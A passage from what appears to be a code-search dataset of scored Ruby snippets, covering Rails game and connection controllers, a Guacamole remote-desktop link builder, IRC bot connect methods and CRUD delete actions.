[Hash{Symbol => Array<Item>}]\r\n # Hash containing keyword symbols as keys and an array of items as values.\r\n @item_keyword_map = Hash.new\r\n\r\n # @type [Hash{Symbol => Array<Mobile>}]\r\n # Hash containing keyword symbols as keys and an array of items as values.\r\n @mobile_keyword_map = Hash.new\r\n\r\n # @type [Set<Item>]\r\n # Set of all items.\r\n @items = Set.new\r\n\r\n # @type [Set<Mobile>]\r\n # Set of all mobiles.\r\n @mobiles = Set.new\r\n\r\n # -- End GameObjects --\r\n\r\n # @type [Array<Integer>]\r\n # Account IDs of connected clients\r\n @client_account_ids = []\r\n\r\n # @type [Array<Hash{Symbol => String}>]\r\n # Accounts waiting to be created - added to from client threads\r\n @new_accounts = []\r\n\r\n # @type [Array<Hash{Symbol => String, Integer}>]\r\n # Players waiting to be created - added to from client threads\r\n @new_players = []\r\n\r\n # @type [Array<Player>]\r\n # players online\r\n @players = []\r\n\r\n # @type [Array<Client>]\r\n # connected clients\r\n @clients = []\r\n\r\n # @type [Hash{Integer => Array<Affect>}]\r\n # Hash with key Player.id and value Array<Affect>, where the array is affects with source `player`\r\n # applied to objects other than `player`. Used to match up affect sources when players log out and\r\n # back in.\r\n @inactive_player_source_affects = Hash.new\r\n\r\n # @type [Array<Array<Integer, Client>>]\r\n # The list of logging players.\r\n # When a Client logs into a player, the client pushes [player.id, client] to logging_players.\r\n # On the next Game#game_loop, Game will load the player, link it with the client, and remove\r\n # the id-client pair from logging_players.\r\n # This is because client threads don't interact with the database.\r\n @logging_players = [] # ids of players waiting to be added to the game\r\n\r\n # @type [Set<Affect>]\r\n # Periodic affects get added to this set when they are enabled. They won't trigger their #period\r\n # until (at least) the following frame.\r\n @new_periodic_affects = Set.new\r\n\r\n # @type [Array<Affect>]\r\n # Affects with a duration exist in this array. Array is sorted by Affect#clear_time (ascending).\r\n # Affects are cleared when their clear time comes.\r\n @timed_affects = []\r\n\r\n # @type [Array<Affect>]\r\n # Affects with a period exist in this array. Array is sorted by Affect#next_periodic_time.\r\n @periodic_affects = []\r\n\r\n # @type [Array<Skill>]\r\n # Skill object array\r\n @skills = []\r\n\r\n # @type [Array<Spell]\r\n # Spell object array\r\n @spells = []\r\n\r\n # @type [Array<Command>]\r\n # Command object array\r\n @commands = []\r\n\r\n # @type [Array<Command>]\r\n # Server command object array\r\n @server_commands = []\r\n\r\n # @type [Hash{Integer => Command}]\r\n # Hash of skills and spells. Key is ID.\r\n @abilities = Hash.new\r\n\r\n # @type [ Hash{ Integer => Hash{ Symbol => Array<Object, Symbol, Integer> } } ]\r\n # Event responders\r\n @responders = Hash.new\r\n\r\n # @type [Boolean]\r\n # When shutdown is set to `true`, the game threads will all stop and the process will exit.\r\n @shutdown = false\r\n\r\n end", "title": "" }, { "docid": "1c383716a8978a3822a2a97c3dc8a0df", "score": "0.539168", "text": "def setup_game_and_user\n @game = Game.in_progress\n @user = User.find(params[:client_id])\n end", "title": "" }, { "docid": "68f7d9969c3d60daf9e4e396ae3fd5fc", "score": "0.5389015", "text": "def new_session(port=4567)\n close if @session\n @connector.open(\"localhost\",port)\n @session_id = talk(\"MAKE-SESSION #{@session_name}\").split[1]\n puts(\"session id: #{@session_id}\") if @debug\n resize_buffer(@buffer_size)\n @session = true\n self.tags = {}\n self.lemmata = {}\n return @session_id\n end", "title": "" }, { "docid": "7b6db30e8b68d9fe9c12ea48f17f6da8", "score": "0.5385358", "text": "def new\n Game.transaction do\n Game.create!(num_players: 2).tap { |game|\n game.invite(Player.find_by(name: 'Hmn'))\n game.invite(Player.find_by(name: 'Cm1'))\n player = game.players.first\n game.update!(turn_player: player, current_player: player)\n }\n end\n redirect_to games_path\n end", "title": "" }, { "docid": "a3e4068bcf462c8a443194528d6ee830", "score": "0.53806216", "text": "def create\n @game = Game.new(params[:game])\n @game.host_id = current_user.player.id\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render json: @game, status: :created, location: @game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "676240578a8a8d561cfdd69fc4b588a2", "score": "0.53795767", "text": "def open_guacamole\n loginfo = self.log_info.to_s\n logger.info \"OPEN_GUCAMOlE CALLED: #{loginfo}\"\n\n info = self.vm_info || {'VMState': 'stopped', 'vrdeport': 0}\n rdpPort = self.rdp_port(info)\n\n if self.state(info)=='running'\n if self.lab_vmt.allow_remote \n if self.lab_vmt.g_type == 'GuacV2'\n # new guacamole link generation logic\n path = ''\n key = ITee::Application::config.shared_key\n logger.debug \"KEY: #{key}\"\n plaintext = \"{\\\"uuid\\\": \\\"#{self.lab_user.uuid}\\\" ,\\\"machine\\\": \\\"#{self.name}\\\"}\"\n logger.debug \"PLAINTEXT: #{plaintext}\"\n derived = Digest::SHA256.digest(key)\n logger.debug \"DERIVED: #{derived}\"\n # TODO: FINALIZE the new guacamolelink generation\n\n { success: true, url: path}\n elsif self.lab_vmt.g_type != 'none'\n user_prefix = ITee::Application.config.guacamole[:user_prefix]\n max_connections = ITee::Application::config.guacamole[:max_connections]\n max_user_connections = ITee::Application::config.guacamole[:max_connections_per_user]\n url_prefix = ITee::Application::config.guacamole[:url_prefix]\n begin\n rdp_host = ITee::Application::config.guacamole[:rdp_host]\n rescue\n logger.warn \"RDP host for Guacamole not specified\"\n rdp_host = ITee::Application::config.rdp_host\n end\n cookie_domain = ITee::Application::config.guacamole[:cookie_domain]\n\n \t \n guacamole_user = GuacamoleUser.where(username: user_prefix+\"#{self.lab_user.id}\").first\n if guacamole_user\n guacamole_user.password_hash = self.lab_user.g_password\n guacamole_user.apply_salt\n guacamole_user.save!\n \t else\n self.lab_user.g_username = user_prefix+\"#{self.lab_user.id}\"\n self.lab_user.g_password = SecureRandom.base64\n guacamole_user = GuacamoleUser.create!(username: self.lab_user.g_username, password_hash: self.lab_user.g_password, timezone: 'Etc/GMT+0')\n self.lab_user.g_user = guacamole_user.user_id\n self.lab_user.save!\n \t end\n\n begin\n guacamole_connection = GuacamoleConnection.find(self.g_connection)\n begin\n port_parameter = GuacamoleConnectionParameter.where(connection_id: guacamole_connection.id, parameter_name: 'port' ).first\n port_parameter.parameter_value = rdpPort\n port_parameter.save!\n rescue ActiveRecord::RecordNotFound => e\n GuacamoleConnectionParameter.create!(connection_id: guacamole_connection.connection_id, parameter_name: 'port', parameter_value: rdpPort)\n end\n rescue ActiveRecord::RecordNotFound => e\n guacamole_connection = GuacamoleConnection.create!( connection_name: user_prefix+self.name,\n protocol: self.lab_vmt.g_type,\n max_connections: max_connections, \n max_connections_per_user: max_user_connections )\n \n guacamole_connection.add_parameters([\n { parameter_name: 'hostname', parameter_value: rdp_host },\n { parameter_name: 'port', parameter_value: rdpPort },\n { parameter_name: 'username', parameter_value: self.lab_user.user.username },\n { parameter_name: 'password', parameter_value: self.password },\n # { parameter_name: 'color-depth', parameter_value: 255 }\n ])\n\n self.g_connection = guacamole_connection.connection_id\n self.save!\n end\n\n begin\n # allow connection if none exists\n permission = GuacamoleConnectionPermission.where(\"user_id=? and connection_id=? and permission=?\", guacamole_user.user_id, guacamole_connection.connection_id , 'READ').first\n unless permission # if no permission, create one\n result = GuacamoleConnectionPermission.create(user_id: guacamole_user.user_id, connection_id: guacamole_connection.connection_id, permission: 'READ')\n unless result\n return {success: false, message: 'unable to allow connection in guacamole'} \n end\n end\n\n # GuacamoleConnectionPermission.create!(user_id: guacamole_user.user_id, connection_id: guacamole_connection.connection_id, permission: 'READ')\n rescue ActiveRecord::RecordNotUnique => e\n # Ignored intentionally\n end\n\n post = HttpRequest.post(url_prefix + \"/api/tokens\", {username: self.lab_user.g_username, password: self.lab_user.g_password})\n logger.debug post\n logger.debug post.body if post.body\n if post.body && post.body['authToken']\n uri = GuacamoleConnection.get_url(self.g_connection)\n path = url_prefix + \"/#/client/#{uri}\"\n logger.info \"OPEN_GUCAMOlE SUCCESS: #{loginfo}\"\n { success: true, url: path, token: post.body, domain: cookie_domain }\n else\n logger.error \"OPEN_GUCAMOlE FAILED: unable to log in #{loginfo}\"\n {success: false, message: 'unable to log in'}\n end\n else\n logger.info \"OPEN_GUCAMOlE FAILED: not allowed #{loginfo}\"\n {success: false, message: 'this virtual machine does not allow this connection'}\n end\n else\n logger.info \"OPEN_GUCAMOlE FAILED: not allowed #{loginfo}\"\n {success: false, message: 'this virtual machine does not allow this connection'}\n end\n else\n logger.info \"OPEN_GUCAMOlE FAILED: vm not running #{loginfo}\"\n {success: false, message: 'please start this virtual machine before trying to establish a connection'}\n end\n end", "title": "" }, { "docid": "61a4709135e2e61897d637a75052a3ef", "score": "0.5368076", "text": "def create\n @player_id = session[:user_id]\n if @player_id\n @game = Game.create(turnstate: \"white\", phase: 'place', active: true, moves_counter: 0)\n GamesUser.create_assoc_white(@game.id, @player_id)\n Game.make_squares(@game.id)\n end\n # @game = Game.new(game_params)\n\n # respond_to do |format|\n # if @game.save\n # format.html { redirect_to @game, notice: 'game was successfully created.' }\n # format.json { render action: 'show', status: :created, location: @game }\n # else\n # format.html { render action: 'new' }\n # format.json { render json: @game.errors, status: :unprocessable_entity }\n # end\n # end\n end", "title": "" }, { "docid": "15ace5c3a72383820e0d26c297448794", "score": "0.5368075", "text": "def get_new_game_information\n print \"Enter the desired number of players (2 players max): \"\n @number_of_players = GameUtils.get_valid_option_number 1, 2\n print \"Enter the desired game mode (1 for a normal game of set, 2 for time trial): \"\n @game_mode = GameUtils.get_valid_option_number 1, 2\n\n pos = 0\n while pos != @number_of_players\n if pos == 0\n @players[pos] = Player.new 0, pos + 1, '1'\n else\n @players[pos] = Player.new 0, pos + 1, '0'\n end\n pos += 1\n end\n end", "title": "" }, { "docid": "5f0e90365056289e297543dab91ae739", "score": "0.5367912", "text": "def create\n @core_connection = Core::Connection.new(core_connection_params)\n\n respond_to do |format|\n if @core_connection.save\n format.html { redirect_to @core_connection, notice: 'Connection was successfully created.' }\n format.json { render :show, status: :created, location: @core_connection }\n else\n format.html { render :new }\n format.json { render json: @core_connection.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1e0bc2815cf0ffd680e9fd10441e236e", "score": "0.5367871", "text": "def new_connection\n self.connection = new\n end", "title": "" }, { "docid": "d5b4386b3fd7c5319e638e8b8ec7bc12", "score": "0.53677905", "text": "def new\n url = URI.parse(\"#{server_url}/game?player_id=#{current_user.id}\")\n req = Net::HTTP::Post.new(url.to_s)\n\n res = Net::HTTP.start(url.host, url.port) do |http|\n http.request(req)\n end \n\n json = JSON.parse(res.body)\n\n if json[\"status\"] == \"success\"\n game_id = json[\"data\"][\"game_id\"]\n session[:side] = \"x\"\n redirect_to \"/games/#{game_id}\"\n else\n flash[:error] = \"Error creating game: #{json[\"message\"]}\"\n redirect_to :back\n end\n end", "title": "" }, { "docid": "673fffeaff218cbe31dc57168fe0782c", "score": "0.5362178", "text": "def create(request, real_name, username, password, email, team = false )\n @id = SecureRandom.uuid\n @username = username\n @password = hash_plaintext(password)\n @points = 0\n @email = email\n @real_name = real_name\n @team = team if team\n @created = Time.now\n @submissions = 0\n @failed_submissions = 0\n @successful_submissions = 0\n @completed_challenges = []\n @associated_ips = []\n @associated_ips << request.ip\n @associated_user_agents = []\n @associated_user_agents << request.user_agent\n save_data\n end", "title": "" }, { "docid": "565e36ddf1dbd7dbf54578263f9797e3", "score": "0.5360504", "text": "def new_game\n @game_board = gen_board(@config[:dimension])\n @solution = gen_solution(@game_board)\n @player_board = gen_board(@config[:dimension], [])\n title\n show_player_board(@player_board)\n welcome\n end", "title": "" }, { "docid": "29c4f6f297477c7fdedecc9ca96bb322", "score": "0.53517026", "text": "def connect(other_user_id)\n\n # see of other user has already requested\n @pending = pending_friendships\n @friendship = @pending.find_by_user_id(other_user_id)\n\n # Approve, when there is a request pending\n if @friendship\n @friendship.approved = true \n @friendship.save\n end\n\n\n # see you user has already requested a friendship\n unless @friendship\n @requested = requested_friendships\n @friendship = @requested.find_by_friend_id(other_user_id)\n end\n\n # see if they are friends\n unless @friendship\n @friendship = friend?(other_user_id)\n end\n\n\n # finally create new \n unless @friendship\n @friendship = unapproved_friendships.create!(friend_id: other_user_id, approved: false)\n end\n\n @friendship\n\n end", "title": "" }, { "docid": "80819600bc2e620333ebca61f4779206", "score": "0.53177524", "text": "def initialize(_name, _server, _port, _pass)\r\n\t\t@connected = false\r\n\t\t@uname = _name\r\n\t\t@server = _server\r\n\t\t@port = _port\r\n\t\t@last = Time.new\r\n\t\t@now = Time.new\r\n\t\t@db = false\r\n\t\t@joined = false\r\n\t\t\r\n\t\t@pass = _pass\r\n\t\t\r\n\t\t@auth_code = \"\"#random_string(12)\r\n\t\t@auth_fail = 0\r\n\t\t@auth_list = [\"edg3\",\"Supremacy\"]\r\n\t\t\r\n\t\t@irc_markup = [\"\u00037,0%\u00030,7%\u00038,7%\u00037,4%\u00031,4%\u00034,1%\u00030,1\",\"\u00034,1%\u00031,4%\u00037,4%\u00038,7%\u00030,7%\u00037,0%\"]\r\n\tend", "title": "" }, { "docid": "9d15300df28caa2cd643bc0ae1f25a73", "score": "0.5313371", "text": "def connect()\n @irc = TCPSocket.open(@server, @port)\n send \"USER #{@nick} gangbot pt2 :#{@nick}\"\n send \"NICK #{@nick}\"\n send \"JOIN #{@channel}\"\n end", "title": "" }, { "docid": "8e6b90d9c85768b99385fb957a4822a3", "score": "0.53052694", "text": "def create_computer_player\n new_player = ComputerPlayer.new(\"computer\")\n end", "title": "" }, { "docid": "3e03b8d5db04b1f00bfaf91393545309", "score": "0.5301321", "text": "def new\n if current_user\n @game = Game.first(:conditions => [\"state = ? and player_a_id != ? \", Game::STATE_WAITING, current_user.id])\n if @game\n @game.update_attributes(:state => Game::STATE_P2_WAITING, :player_b_id => current_user.id)\n else\n @game = Game.first(:conditions => [\"state = ? and player_a_id = ?\", Game::STATE_NEW, current_user.id])\n @game = Game.create(:player_a_id => current_user.id) unless @game\n end\n redirect_to game_path(@game)\n else\n redirect_to root_path\n end\n end", "title": "" }, { "docid": "ee212bc9da84e530435c350cd21c3918", "score": "0.5293804", "text": "def connect()\n @irc = TCPSocket.open(@server, @port)\n send \"USER #{@nick} gangbot pt1 :#{@nick}\"\n send \"NICK #{@nick}\"\n send \"JOIN #{@channel}\"\n end", "title": "" }, { "docid": "49fa3267fb548f07276cb70202d1fe25", "score": "0.5292316", "text": "def create\n connect_name = Connect::SUPPORTED_CONNECTS.find { |c| !params[\"connect_#{c}\"].nil? }\n raise \"Connect doesn't exists\" if connect_name.nil?\n raise \"You can't create connect_login\" if connect_name == \"connect_login\"\n \n opts = params.require(\"connect_#{connect_name}\")\n\n connect = Connect::class_for(connect_name).new(opts)\n\n raise \"Connect #{connect_name} already exists\" unless connect.existing_connect.nil?\n \n connect.user_id = @user.id\n connect.save\n \n render response_ok\n end", "title": "" }, { "docid": "d85da9a45501e35ba6ee640e527cf86d", "score": "0.5290008", "text": "def create\n @connection = Connection.new(connection_params)\n @connection.state = :ringing\n Log.create(:description => \"Incoming connection received\")\n\n respond_to do |format|\n if @connection.save\n format.html { redirect_to root_path, notice: 'Connection was successfully created.' }\n format.json { render :show, status: :created, location: @connection }\n else\n format.html { render :new }\n format.json { render json: @connection.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6f4cea6a7adfd74ee01bad5dd924a734", "score": "0.5285238", "text": "def accept_challenge\n challenger = find_lobby_user data\n\n # Generate a random room from the two player's connection IDs\n game_id = Digest::SHA256.hexdigest(data + connection.id)\n\n # TODO: Check if game room is empty before sending to players\n\n challenger.send_message :new_game, game_id, :namespace => \"game\"\n send_message :new_game, game_id, :namespace => \"game\"\n end", "title": "" }, { "docid": "9a263c19256bb2d7ae035b5789c6605e", "score": "0.52715385", "text": "def create\n if user_signed_in?\n @game = Game.create!(user_id: current_user.id, active: true, type: params[:type], time: Time.now)\n if @game.save\n tmp = Time.now + 800\n Turn.create!(game: @game, turn: 1, time: tmp)\n \n GamePlayer.create!(game: @game, player: Player.find_by(user: current_user), active: true)\n\n render json: @game, status: :created\n else\n render json: @game.errors, status: :unprocessable_entity\n end\n else\n render json: \"NOt signed in\", status: :unauthorized\n end\n end", "title": "" }, { "docid": "ab2dca058aa757ae7f79f1852bd2fedb", "score": "0.52707106", "text": "def record_connection(client)\n\t\tclient_info = client.addr(:hostname)\n\t\tConnectionInfo.where(\"disconnected_at is null\").each {|c| c.delete} # TODO, consider better ways to cleanup freak situations.\n\t\t@conn = ConnectionInfo.create(:ip => client_info[3], :hostname => client_info[2], :connected_at => Time.now)\n\tend", "title": "" }, { "docid": "6e700e9f6533084708519bc32ff62a34", "score": "0.52684444", "text": "def do_connect\n @log.info \"#{@host} #{@port}\"\n \n @socket = TCPSocket.open( @host, @port )\n \n send \"NICK #{@nick}\"\n send \"USER TrunkBot bird trunkbit.com work\"\n \n if @pass\n send \"PASS #{@pass}\"\n send \"PRIVMSG NickServ :identify #{@pass}\"\n end\n \n join @chan\n end", "title": "" }, { "docid": "a30ecb2de568c67e5f0926f5c5da6460", "score": "0.5266666", "text": "def connect(usr_name, client)\n if usr_name\n user = {name: usr_name, sock: client}\n #Add the user and its connection to the userList\n @user_list.push(user)\n return \"CONNECTED\"\n else\n return \"FAILED\"\n end\n\tend", "title": "" }, { "docid": "437ec92440409e04a76ba80f74181ada", "score": "0.5266471", "text": "def establish_connection\n end", "title": "" }, { "docid": "de7ba4117200602ad21a68c6c12b5eb7", "score": "0.5262973", "text": "def create_ssh_session\r\r\r\r\r\r\r\r\n Net::SSH.start(JUMPSRV, JUMPSRV_USER, password: JUMPSRV_PW, timeout: 30) # verbose: :info,\r\r\r\r\r\r\r\r\n end", "title": "" }, { "docid": "ba799ca2bd4d15b24213477845c34ae6", "score": "0.5262547", "text": "def create\n @game = Game.new(game_params)\n @game.user = current_user\n respond_to do |format|\n if @game.save\n current_user.games << @game\n # gp = GamePlayer.new #this activates the join table we need\n # gp.user_id = @current_user.id\n # gp.game_id = @game.id\n # gp.save!\n format.html { redirect_to games_path, notice: 'Game was successfully created.' }\n format.json { render :show, status: :created, location: @game }\n else\n format.html { render :new }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n \n end\n\n end", "title": "" }, { "docid": "8a0280f19794a423a4e2132bdadc5f47", "score": "0.52619904", "text": "def create(opts)\n opts = check_params(opts,[:peer_names,:serverssls,:peer_ips,:enabled_states])\n super(opts)\n end", "title": "" }, { "docid": "7d9f0f3b9e3d17bfc6380ffa94857dc5", "score": "0.52618384", "text": "def create_client\n @networking.create_client\n end", "title": "" }, { "docid": "fb4e15fa72975ec7d761e1081a5b2dba", "score": "0.5261241", "text": "def new_game()\n @game_world = @connection.request_game\n x, y = @game_world.upper_left_corner\n x2, y2 = @game_world.lower_right_corner\n \"world from (%d,%d) to (%d,%d)\" % [x, y, x2, y2]\n end", "title": "" }, { "docid": "81d88c648930d412abfb4b7a9d101975", "score": "0.5260064", "text": "def make_new(*)\n conn = super\n @connection_expiration_timestamps[conn] = [Sequel.start_timer, @connection_expiration_timeout + (rand * @connection_expiration_random_delay)].freeze\n conn\n end", "title": "" }, { "docid": "c893c22ae277ee2dbd1e11b771d6226f", "score": "0.52538276", "text": "def make_connect(address,port)\n#\t\tc = Connection.new()\n\t\t@connects << c\n\tend", "title": "" }, { "docid": "05e9d2722ef2f18371d4c7ded4d321d3", "score": "0.52505046", "text": "def create_new_player(username)\n new_player = Player.create(name: username, health: 100)\n @@user = new_player \n end", "title": "" }, { "docid": "7ae7b2c92cc9ab8d4a532adf596af1d2", "score": "0.5244875", "text": "def try_create(options = nil)\n unless @created == @max\n object = @connection_manager.create_new()\n @created += 1\n object\n end\n end", "title": "" }, { "docid": "4541b2f9cb19263427caf16ff3000556", "score": "0.52445227", "text": "def create\n @connection = Connection.new(params[:connection])\n flash[:notice] = 'Connection was successfully created.' if @connection.save\n respond_with(@connection)\n end", "title": "" }, { "docid": "d87d36ae6265a7cce4aa228adaed813d", "score": "0.5244177", "text": "def create_user(struct)\n struct.remapkeys!\n if struct.has_key? :user and struct.has_key? :pass\n rt = RT_Client.new(:user => struct[:user], :pass => struct[:pass])\n struct.delete(:user)\n struct.delete(:pass)\n else\n rt = RT_Client.new\n end\n val = rt.create_user(struct)\n rt = nil\n val\n end", "title": "" }, { "docid": "ca7223a464d4d92cc299498f069b4f47", "score": "0.5236003", "text": "def connect\n # connect to peer with payload of constraint info and previous commit\n # receive response and apply to the repo\n\n response = peer.connect(spec)\n if response.failed?\n raise \"connection attempt failed\"\n end\n\n self.channel = response.data[:channel]\n self.save\n end", "title": "" }, { "docid": "0617b2d790f4df6f381c03677ad01d0b", "score": "0.5232061", "text": "def create\n session['auto'] = false\n @game = Game.new(params[:game])\n\n if @game.bingo_session == nil\n @game.bingo_session = BingoSession.new\n @game.bingo_session.caller = current_caller\n @game.bingo_session.save!\n end\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to(@game, :notice => 'Game was successfully created.') }\n format.xml { render :xml => @game, :status => :created, :location => @game }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @game.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e43b028fdf3c9a7a013f6c3ad09de872", "score": "0.5231522", "text": "def create\n\n if params[:type] == \"new\"\n array = params[:date].split(' ')\n db_date = \"#{array[4]}-#{Date::MONTHNAMES.index(array[3])}-#{array[1]}\"\n\n game = Game.create!({\n date: db_date,\n start_time: params[:start_time],\n facility_id: params[:facility_id],\n sport_id: params[:sport_id]\n })\n user = User.find(current_user.id)\n game.users.push(user)\n else\n game = Game.find(params[:game_id])\n user = User.find(current_user.id)\n game.users.push(user)\n end\n end", "title": "" }, { "docid": "80214c5f73606a41dd8ab0565d7b8731", "score": "0.52306116", "text": "def create\n @connection = Connection.new(params[:connection])\n\n respond_to do |format|\n if @connection.save\n format.html { redirect_to @connection, notice: 'Connection was successfully created.' }\n format.json { render json: @connection, status: :created, location: @connection }\n else\n format.html { render action: \"new\" }\n format.json { render json: @connection.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2c9d0ac1aa6cb5a2b2714931b4d5551a", "score": "0.52276117", "text": "def new_client( io )\n auth = Uwchat::AuthServer.new\n return io.close unless auth.auth_sequence( io )\n new_user = auth.user\n self.user_welcome( new_user, io ) if self.test_user?(new_user, io)\n return new_user\n end", "title": "" }, { "docid": "b037fb4d8e37611522818aae096145ff", "score": "0.52272314", "text": "def create\n @player2 = User.find(user_params)\n @game = Game.new(users: [current_user, @player2], current_player_id: current_user.id)\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render :show, status: :created, location: @game }\n else\n format.html { render :new, alert: 'we couldnt create your game'}\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "29b1d5ad040983b4b543d371a48c5477", "score": "0.52253073", "text": "def create(struct)\n struct.remapkeys!\n if struct.has_key? :user and struct.has_key? :pass\n rt = RT_Client.new(:user => struct[:user], :pass => struct[:pass])\n struct.delete(:user)\n struct.delete(:pass)\n else\n rt = RT_Client.new\n end\n val = rt.create(struct)\n rt = nil\n val\n end", "title": "" }, { "docid": "d5f7b425f02fc18ce4d314ed049bd85f", "score": "0.5224409", "text": "def create\n @messenger = FB_BOT_NAME\n # get info from facebook\n begin\n uri = URI.encode(\"https://graph.facebook.com/v2.8/#{@id}?fields=first_name,last_name&access_token=#{FB_PAGEACCTOKEN}\")\n res = URI.parse(uri).read\n rescue # case of a test user\n uri = URI.encode(\"https://graph.facebook.com/v2.8/#{@id}?fields=first_name,last_name&access_token=#{FB_APPTOKEN}\")\n res = URI.parse(uri).read\n end\n r_user = JSON.parse(res)\n r_user = JSON.parse(JSON.dump(r_user), object_class: OpenStruct)\n @first_name = r_user.first_name\n @last_name = r_user.last_name\n @last_msg_time = 1000000\n Bot.log.debug(\"New user : #{@first_name} #{@last_name}\")\n\n # save in database\n super\n params = [\n @id,\n @uid,\n DateTime.strptime(@last_msg_time.to_s,'%s')\n ]\n Bot.db.query(\"fb_user_insert\", params)\nend", "title": "" } ]
1939d8064b659cce81aa250272cd70d7
DELETE /credit_checkers/1 DELETE /credit_checkers/1.json
[ { "docid": "a0aac022de82173da823c01251dadf04", "score": "0.7492212", "text": "def destroy\n @credit_checker.destroy\n respond_to do |format|\n format.html { redirect_to credit_checkers_url, notice: 'Credit checker was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" } ]
[ { "docid": "d0a4542c60b3b2ef7b572927cc966169", "score": "0.7128045", "text": "def destroy\n @credit = Credit.find(params[:id])\n @credit.destroy\n \n respond_to do |format|\n format.html { redirect_to credits_url }\n format.json { head :ok }\n end\nend", "title": "" }, { "docid": "7b6e84111decab7cbc2c1b985561f0fc", "score": "0.70308095", "text": "def destroy\n @credit = Credit.find(params[:id])\n @credit.destroy\n\n respond_to do |format|\n format.html { redirect_to credits_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fc6e34a37dbd777ea07afb2836e64fd7", "score": "0.6958641", "text": "def destroy\n @credit.destroy\n respond_to do |format|\n format.html { redirect_to credits_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b1201c98389a77ef2803944b4c60b8c9", "score": "0.69556", "text": "def destroy\n @checker = Checker.find(params[:id])\n @checker.destroy\n\n respond_to do |format|\n format.html { redirect_to checkers_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b1201c98389a77ef2803944b4c60b8c9", "score": "0.69556", "text": "def destroy\n @checker = Checker.find(params[:id])\n @checker.destroy\n\n respond_to do |format|\n format.html { redirect_to checkers_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "64f23d0a1066738a70676de8d7707920", "score": "0.6859708", "text": "def destroy\n @credit.destroy\n respond_to do |format|\n format.html { redirect_to credits_url, notice: 'Credit was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "940bb937b065a35189db6e2133fde7fc", "score": "0.6839116", "text": "def destroy\n @credit.destroy\n respond_to do |format|\n format.html { redirect_to /view_credits/, notice: 'Credit was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5965d87f1cd774bff8a4c790f9f3249c", "score": "0.6787521", "text": "def destroy\n @borrower = Borrower.find(params[:id])\n @borrower.destroy\n\n respond_to do |format|\n \n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "45adfc512be3f71c188f66af03be16eb", "score": "0.6786581", "text": "def destroy\n @credit = @transaction.credits.find(params[:id])\n @credit.destroy\n\n respond_to do |format|\n format.html { redirect_to(client_transaction_credits_url(@client, @transaction)) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "4a6d16399101adbdfd0d66407996b035", "score": "0.67703664", "text": "def destroy\n @roadblock_check.destroy\n respond_to do |format|\n format.html { redirect_to roadblock_checks_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7a5d2511cf4f7d1ad3581bf35cbd1a80", "score": "0.67693806", "text": "def destroy\n @credit_request.destroy\n respond_to do |format|\n format.html { redirect_to credit_requests_url, notice: 'Credit request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0325de374e7135aa6e8468fb6467ce1e", "score": "0.676088", "text": "def destroy\n @customer_credit = CustomerCredit.find(params[:id])\n @customer_credit.destroy\n\n respond_to do |format|\n format.html { redirect_to customer_credits_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f871588abc71ebc41289a82080088417", "score": "0.6749605", "text": "def destroy\n @reference_check = ReferenceCheck.find(params[:id])\n @reference_check.destroy\n\n respond_to do |format|\n format.html { redirect_to reference_checks_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0d5244e22afdb6ff73a35a3fb3f0274e", "score": "0.674662", "text": "def destroy\n @client_cash = ClientCash.find(params[:id])\n @client_cash.destroy\n\n respond_to do |format|\n format.html { redirect_to client_cashes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "59f30b4723dad8c09c0648acc0735c38", "score": "0.67463917", "text": "def deleteChecklistCheckitem(idChecklist, idCheckItem)\n\thash = Hash.new\n\thash[:key] = $key\n\thash[:token] = $token\t\n\n\tresponse = RestClient.delete 'https://api.trello.com/1/checklists/'+idChecklist+'/checkItems/'+idCheckItem, hash\n\tresponse = JSON.parse(response)\nend", "title": "" }, { "docid": "eb82d1d2ad01aa09869ed020e758fc44", "score": "0.67084914", "text": "def destroy\n @coin_check.destroy\n respond_to do |format|\n format.html { redirect_to coin_checks_url, notice: 'Coin check was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e73037e34ffda1f8d445c63c69b2534f", "score": "0.66780597", "text": "def destroy\n @credit = Credit.find(params[:id])\n @credit.destroy\n\n respond_to do |format|\n format.html { redirect_to(credits_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "b07afc70c8b26788dbac955684afe041", "score": "0.66636384", "text": "def destroy\n @cratepayer = Cratepayer.find(params[:id])\n @cratepayer.destroy\n\n respond_to do |format|\n format.html { redirect_to cratepayers_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "1278361bbadaef7b827ae9e50a9410d7", "score": "0.6660794", "text": "def destroy\n @checker.destroy\n respond_to do |format|\n format.html { redirect_to checkers_url, notice: 'Checker was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5bff6ea0a908fa320655bac3b42019b1", "score": "0.66602594", "text": "def destroy\n @deposit_check = DepositCheck.find(params[:id])\n @deposit_check.destroy\n\n respond_to do |format|\n format.html { redirect_to deposit_checks_url }\n format.json { head 